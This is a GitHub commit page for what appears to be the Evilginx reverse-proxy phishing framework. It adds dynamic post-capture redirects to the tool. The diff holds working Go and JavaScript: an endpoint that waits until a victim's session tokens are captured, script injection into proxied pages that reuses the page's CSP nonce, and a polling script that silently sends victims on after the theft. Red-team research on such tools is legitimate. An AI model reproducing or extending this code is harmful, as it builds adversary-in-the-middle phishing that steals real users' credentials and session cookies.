Skip to content

Commit

Permalink
added dynamic redirects for single-page applications
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Jul 28, 2023
1 parent 55aa7b7 commit b201400
Show file tree
Hide file tree
Showing 4 changed files with 119 additions and 13 deletions.
3 changes: 2 additions & 1 deletion CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
# Unreleased
- Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.
- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section.
- Fixed: Fixed HTTP status code response for Javascript redirects.
- Fixed: Redirects now only happen on `text/html` pages with valid HTML content.
- Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content.

# 3.1.0
- Feature: Listening IP and external IP can now be separated with `config ipv4 bind <bind_ipv4_addr>` and `config ipv4 external <external_ipv4_addr>` to help with properly setting up networking.
Expand Down
80 changes: 68 additions & 12 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ import (
"crypto/sha256"
"crypto/tls"
"encoding/base64"
"encoding/json"
"fmt"
"html"
"io"
Expand Down Expand Up @@ -189,6 +190,32 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
parts := strings.SplitN(req.RemoteAddr, ":", 2)
remote_addr := parts[0]

redir_re := regexp.MustCompile("^\\/s\\/([^\\/]*)")
if redir_re.MatchString(req.URL.Path) {
ra := redir_re.FindStringSubmatch(req.URL.Path)
if len(ra) >= 2 {
session_id := ra[1]
if _, ok := p.sessions[session_id]; ok {
redirect_url, ok := p.waitForRedirectUrl(session_id)
if ok {
type ResponseRedirectUrl struct {
RedirectUrl string `json:"redirect_url"`
}
d_json, err := json.Marshal(&ResponseRedirectUrl{RedirectUrl: redirect_url})
if err == nil {
log.Important("[%d] dynamic redirect to URL: %s", ps.Index, redirect_url)
resp := goproxy.NewResponse(req, "application/json", 200, string(d_json))
return req, resp
}
}
resp := goproxy.NewResponse(req, "application/json", 408, "")
return req, resp
} else {
log.Warning("api: session not found: '%s'", session_id)
}
}
}

phishDomain, phished := p.getPhishDomain(req.Host)
if phished {
pl := p.getPhishletByPhishHost(req.Host)
Expand Down Expand Up @@ -681,8 +708,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if ok && !s.IsDone {
for _, au := range pl.authUrls {
if au.MatchString(req.URL.Path) {
s.IsDone = true
s.IsAuthUrl = true
s.Finish(true)
break
}
}
Expand Down Expand Up @@ -874,7 +900,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if err := p.db.SetSessionHttpTokens(ps.SessionId, s.HttpTokens); err != nil {
log.Error("database: %v", err)
}
s.IsDone = true
s.Finish(false)
}
}
}
Expand Down Expand Up @@ -976,15 +1002,13 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
//log.Debug("js_inject: hostname:%s path:%s", req_hostname, resp.Request.URL.Path)
script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
if err == nil {
//log.Debug("js_inject: matched %s%s - injecting script", req_hostname, resp.Request.URL.Path)
js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
m_nonce := js_nonce_re.FindStringSubmatch(string(body))
js_nonce := ""
if m_nonce != nil {
js_nonce = " nonce=\"" + m_nonce[1] + "\""
}
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
body = []byte(re.ReplaceAllString(string(body), "<script"+js_nonce+">"+script+"</script>${1}"))
body = p.injectJavascriptIntoBody(body, script)
}

if s.RedirectURL != "" {
dynamic_redirect_js := DYNAMIC_REDIRECT_JS
dynamic_redirect_js = strings.ReplaceAll(dynamic_redirect_js, "{session_id}", s.Id)
body = p.injectJavascriptIntoBody(body, dynamic_redirect_js)
}
}
}
Expand Down Expand Up @@ -1046,6 +1070,26 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
return p, nil
}

func (p *HttpProxy) waitForRedirectUrl(session_id string) (string, bool) {

s, ok := p.sessions[session_id]
if ok {

if s.IsDone {
return s.RedirectURL, true
}

ticker := time.NewTicker(30 * time.Second)
select {
case <-ticker.C:
break
case <-s.DoneSignal:
return s.RedirectURL, true
}
}
return "", false
}

func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Response) {
if len(p.cfg.general.RedirectUrl) > 0 {
redirect_url := p.cfg.general.RedirectUrl
Expand Down Expand Up @@ -1087,6 +1131,18 @@ func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Re
return req, nil
}

func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string) []byte {
js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
m_nonce := js_nonce_re.FindStringSubmatch(string(body))
js_nonce := ""
if m_nonce != nil {
js_nonce = " nonce=\"" + m_nonce[1] + "\""
}
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
ret := []byte(re.ReplaceAllString(string(body), "<script"+js_nonce+">"+script+"</script>${1}"))
return ret
}

func (p *HttpProxy) isForwarderUrl(u *url.URL) bool {
vals := u.Query()
for _, v := range vals {
Expand Down
36 changes: 36 additions & 0 deletions core/scripts.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
package core

const DYNAMIC_REDIRECT_JS = `
function getRedirect(sid) {
var url = "/s/" + sid;
console.log("fetching: " + url);
fetch(url, {
method: "GET",
headers: {
"Content-Type": "application/json"
}
})
.then((response) => {
if (response.status == 200) {
return response.json();
} else if (response.status == 408) {
console.log("timed out");
getRedirect(sid);
} else {
throw "http error: " + response.status;
}
})
.then((data) => {
if (data !== undefined) {
console.log("api: success:", data);
top.location.href=data.redirect_url;
}
})
.catch((error) => {
console.error("api: error:", error);
setTimeout(function () { getRedirect(sid) }, 10000);
});
}
getRedirect('{session_id}');
`
13 changes: 13 additions & 0 deletions core/session.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ type Session struct {
PhishLure *Lure
RedirectorName string
LureDirPath string
DoneSignal chan struct{}
}

func NewSession(name string) (*Session, error) {
Expand All @@ -46,6 +47,7 @@ func NewSession(name string) (*Session, error) {
PhishLure: nil,
RedirectorName: "",
LureDirPath: "",
DoneSignal: make(chan struct{}),
}
s.CookieTokens = make(map[string]map[string]*database.CookieToken)

Expand Down Expand Up @@ -122,3 +124,14 @@ func (s *Session) AllCookieAuthTokensCaptured(authTokens map[string][]*CookieAut
}
return false
}

func (s *Session) Finish(is_auth_url bool) {
if !s.IsDone {
s.IsDone = true
s.IsAuthUrl = is_auth_url
if s.DoneSignal != nil {
close(s.DoneSignal)
s.DoneSignal = nil
}
}
}

0 comments on commit b201400

Please sign in to comment.